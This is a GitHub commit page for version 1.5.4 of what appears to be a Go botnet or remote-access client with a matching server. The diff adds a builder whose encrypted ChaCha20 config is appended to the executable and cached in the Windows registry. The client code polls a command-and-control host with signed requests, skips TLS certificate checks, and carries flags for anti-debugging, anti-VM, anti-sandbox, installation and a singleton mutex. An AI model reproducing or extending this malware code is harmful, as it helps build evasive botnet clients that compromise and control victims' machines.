Skip to content

Commit 2f32d57

Browse files
unknownunknown
authored andcommitted
⚡Update v1.5.4
1. Add timeout task cleaner 2. Add builder 3. Fix bugs
1 parent dd44416 commit 2f32d57

File tree

19 files changed

+524
-115
lines changed

19 files changed

+524
-115
lines changed

.gitignore

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,9 @@
88
/pic/
99
/server/*.exe
1010
/server/Log/
11-
/features.md
11+
/server/payload.yaml
12+
/server/config.yaml
13+
/features.md
14+
/.idea/
15+
/client/.idea/
16+
/server/.idea/

client/components/common.go

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@ package components
22

33
import (
44
"fmt"
5+
"os"
6+
"path/filepath"
57
"strconv"
68
"time"
79
)
@@ -49,3 +51,36 @@ func generate_utc_timestamp() int64 {
4951
func generate_utc_timestamp_string() string {
5052
return strconv.FormatInt(generate_utc_timestamp(), 10)
5153
}
54+
55+
func get_module_file() string {
56+
exe, err := os.Executable()
57+
if err != nil {
58+
return ""
59+
}
60+
exe, err = filepath.EvalSymlinks(exe)
61+
if err != nil {
62+
return ""
63+
}
64+
return exe
65+
}
66+
67+
func int_to_bytes(n int) []byte {
68+
bytes := []byte{
69+
byte(n & 0xff),
70+
byte((n >> 8) & 0xff),
71+
byte((n >> 16) & 0xff),
72+
byte((n >> 24) & 0xff),
73+
}
74+
return bytes
75+
}
76+
77+
func bytes_to_int(b []byte) int {
78+
var result int = 0
79+
80+
result |= int(b[0])
81+
result |= int(b[1]) << 8
82+
result |= int(b[2]) << 16
83+
result |= int(b[3]) << 24
84+
85+
return result
86+
}

client/components/core.go

Lines changed: 90 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package components
22

33
import (
44
"encoding/json"
5+
"io"
56
"log"
67
"os"
78
"strconv"
@@ -105,7 +106,7 @@ func send_poll_request(host string) BotState {
105106
"X-Sign": base64_enc(sign),
106107
}, botcore.use_ssl)
107108
if reply == nil || !check_package_legality(reply) {
108-
return StateCommandPoll
109+
return StateRecoverPoll
109110
}
110111
reply.Cmd = strings.TrimSpace(reply.Cmd)
111112

@@ -132,7 +133,7 @@ func auth_bot_poll(state BotState, host string) BotState {
132133

133134
switch state {
134135
case StateReadGuid:
135-
val := reg_read_key(registry.CURRENT_USER, g_regpath, "guid", false)
136+
val := reg_read_key(registry.CURRENT_USER, g_regpath, "guid", 1)
136137
if val == nil || val == "" {
137138
next_state = StateGenGuid
138139
} else {
@@ -153,7 +154,7 @@ func auth_bot_poll(state BotState, host string) BotState {
153154
}
154155
next_state = StateGenGuid
155156
case StateReadToken:
156-
val := reg_read_key(registry.CURRENT_USER, g_regpath, "token", false)
157+
val := reg_read_key(registry.CURRENT_USER, g_regpath, "token", 1)
157158
if val == nil || val.(string) == "" {
158159
next_state = StateRecoverPoll
159160
} else {
@@ -187,7 +188,93 @@ func handle_command() {
187188

188189
}
189190

191+
func read_config() bool {
192+
var build_config BuildConfig
193+
194+
// Try to read config from registry
195+
bytesConfig, ok := reg_read_key(registry.CURRENT_USER, g_regpath, "config", 2).([]byte)
196+
if ok && bytesConfig != nil {
197+
// Read configure from registry ok\
198+
len := len(bytesConfig) - 32
199+
encConfig := bytesConfig[:len]
200+
key := bytesConfig[len:]
201+
cleanConfig := dec_chacha20(key, encConfig)
202+
if nil == cleanConfig {
203+
return false
204+
}
205+
json.Unmarshal(cleanConfig, &build_config)
206+
} else {
207+
exe := get_module_file()
208+
if exe == "" {
209+
return false
210+
}
211+
f, err := os.Open(exe)
212+
if err != nil {
213+
return false
214+
}
215+
defer f.Close()
216+
// Read configure size
217+
_, err = f.Seek(-4, io.SeekEnd)
218+
if err != nil {
219+
return false
220+
}
221+
size_buf := make([]byte, 4)
222+
_, err = f.Read(size_buf)
223+
if err != nil {
224+
return false
225+
}
226+
// Read configure
227+
config_size := bytes_to_int(size_buf)
228+
if config_size == 0 {
229+
return false
230+
}
231+
_, err = f.Seek(int64(-(4 + config_size)), io.SeekEnd)
232+
if err != nil {
233+
return false
234+
}
235+
config_buf := make([]byte, config_size)
236+
f.Read(config_buf)
237+
// Read chacha20 key
238+
_, err = f.Seek(int64(-(4 + config_size + 32)), io.SeekEnd)
239+
key := make([]byte, 32)
240+
_, err = f.Read(key)
241+
if err != nil {
242+
return false
243+
}
244+
// Decrypt config with chacha20 key
245+
decConfigBuf := dec_chacha20(key, config_buf)
246+
if decConfigBuf == nil {
247+
return false
248+
}
249+
json.Unmarshal(decConfigBuf, &build_config)
250+
251+
// Save configure to registry
252+
savedConfig := append(config_buf, key...)
253+
if !reg_create_or_update_value(registry.CURRENT_USER, g_regpath, "config", savedConfig, true) {
254+
log.Println("Failed to create config registry")
255+
}
256+
}
257+
botcore.singleton = build_config.Single
258+
botcore.anti_debug = build_config.Anti_debug
259+
botcore.anti_vm = build_config.Anti_vm
260+
botcore.anti_sandbox = build_config.Anti_sandbox
261+
botcore.install = build_config.Install
262+
botcore.install_file = build_config.Install_file
263+
botcore.mutex_name = build_config.Mutex_name
264+
botcore.delay = build_config.Delay
265+
botcore.use_ssl = build_config.Use_ssl
266+
botcore.version = build_config.Version
267+
botcore.hosts = build_config.Host
268+
269+
return true
270+
}
271+
190272
func Run() {
273+
// Read configure
274+
if !read_config() {
275+
os.Exit(0)
276+
}
277+
191278
// Check singleton
192279
if is_already_exist(botcore.mutex_name) {
193280
os.Exit(0)

client/components/crypto.go

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,11 @@ package components
22

33
import (
44
"crypto/hmac"
5+
"crypto/rand"
56
"crypto/sha256"
67
"encoding/base64"
78
"encoding/hex"
9+
"golang.org/x/crypto/chacha20"
810
)
911

1012
// Base64 encryption
@@ -36,3 +38,35 @@ func create_sign(token string, guid string, timestamp string) []byte {
3638
data := []byte(guid + timestamp)
3739
return hmac_sha256(bytToken, data)
3840
}
41+
42+
func enc_chacha20(key, plain []byte) []byte {
43+
44+
nonce := make([]byte, chacha20.NonceSize)
45+
_, err := rand.Read(nonce)
46+
if err != nil {
47+
return nil
48+
}
49+
cipher, err := chacha20.NewUnauthenticatedCipher(key, nonce)
50+
if err != nil {
51+
return nil
52+
}
53+
54+
cipher_text := make([]byte, len(plain))
55+
cipher.XORKeyStream(cipher_text, plain)
56+
57+
return append(nonce, cipher_text...)
58+
}
59+
60+
func dec_chacha20(key, nonceCipher []byte) []byte {
61+
nonce := nonceCipher[:chacha20.NonceSize]
62+
text := nonceCipher[chacha20.NonceSize:]
63+
64+
cipher, err := chacha20.NewUnauthenticatedCipher(key, nonce)
65+
if err != nil {
66+
return nil
67+
}
68+
plain := make([]byte, len(text))
69+
70+
cipher.XORKeyStream(plain, text)
71+
return plain
72+
}

client/components/global.go

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -73,16 +73,16 @@ var (
7373
pfnGetCurrentProcess = kernel32.NewProc("GetCurrentProcess")
7474

7575
botcore = BotCore{
76-
version: "1.4.4",
77-
hosts: []string{"127.0.0.1:8080"},
76+
version: "1.5.4",
77+
hosts: []string{"127.0.0.1:3596"},
7878
singleton: true,
7979
anti_debug: false,
8080
anti_vm: false,
8181
anti_sandbox: false,
8282
install: false,
8383
use_ssl: false,
8484
delay: 0,
85-
mutex_name: "heelo",
85+
mutex_name: "eSq3w0KtD7gDMR7q",
8686
install_file: "",
8787
install_path: "",
8888
}
@@ -158,3 +158,17 @@ type Client struct {
158158
Lastseen string `json:"lastseen"`
159159
Lastcommand string `json:"lastcommand"`
160160
}
161+
162+
type BuildConfig struct {
163+
Version string `json:"version"`
164+
Host []string `json:"host"`
165+
Single bool `json:"single"`
166+
Anti_debug bool `json:"anti_debug"`
167+
Anti_vm bool `json:"anti_vm"`
168+
Anti_sandbox bool `json:"anti_sandbox"`
169+
Install bool `json:"install"`
170+
Install_file string `json:"file"`
171+
Mutex_name string `json:"mutex"`
172+
Delay uint `json:"delay"`
173+
Use_ssl bool `json:"ssl"`
174+
}

client/components/info.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -689,7 +689,7 @@ func get_bot_info() []byte {
689689
}
690690

691691
if len(g_installdate) == 0 {
692-
result := reg_read_key(registry.CURRENT_USER, g_regpath, "installdate", false)
692+
result := reg_read_key(registry.CURRENT_USER, g_regpath, "installdate", 1)
693693
if result == nil {
694694
g_installdate = generate_utc_timestamp_string()
695695
} else {

client/components/net.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ import (
1616
)
1717

1818
var clientHTTP = &http.Client{
19-
// Timeout: 10 * time.Second,
19+
//Timeout: 10 * time.Second,
2020
}
2121

2222
var clientHTTPS = &http.Client{
@@ -25,7 +25,7 @@ var clientHTTPS = &http.Client{
2525
InsecureSkipVerify: true,
2626
},
2727
},
28-
// Timeout: 10 * time.Second,
28+
//Timeout: 10 * time.Second,
2929
}
3030

3131
func get_client(useSSL bool) *http.Client {

client/components/system.go

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ func find_pid_by_name(name string) uint32 {
9595
return 0
9696
}
9797

98-
func reg_read_key(key registry.Key, subPath string, value string, fInt bool) any {
98+
func reg_read_key(key registry.Key, subPath string, value string, keyType int) any {
9999

100100
key1 := reg_create_key(key, subPath)
101101
if key1 == 0 {
@@ -104,10 +104,12 @@ func reg_read_key(key registry.Key, subPath string, value string, fInt bool) any
104104
defer key1.Close()
105105
var data any
106106

107-
if fInt {
107+
if keyType == 0 {
108108
data, _, _ = key1.GetIntegerValue(value)
109-
} else {
109+
} else if keyType == 1 {
110110
data, _, _ = key1.GetStringValue(value)
111+
} else if keyType == 2 {
112+
data, _, _ = key1.GetBinaryValue(value)
111113
}
112114

113115
return data

client/go.mod

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ go 1.25.4
44

55
require (
66
github.com/StackExchange/wmi v1.2.1
7-
golang.org/x/sys v0.38.0
7+
golang.org/x/sys v0.39.0
88
)
99

1010
require (
@@ -14,6 +14,7 @@ require (
1414
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
1515
github.com/tklauser/go-sysconf v0.3.16 // indirect
1616
github.com/tklauser/numcpus v0.11.0 // indirect
17+
golang.org/x/crypto v0.46.0 // indirect
1718
)
1819

1920
require (

client/go.sum

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,8 @@ github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo
2828
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
2929
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
3030
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
31+
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
32+
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
3133
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
3234
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
3335
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
@@ -39,6 +41,8 @@ golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7w
3941
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
4042
golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc=
4143
golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
44+
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
45+
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
4246
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
4347
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
4448
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

0 commit comments

Comments
 (0)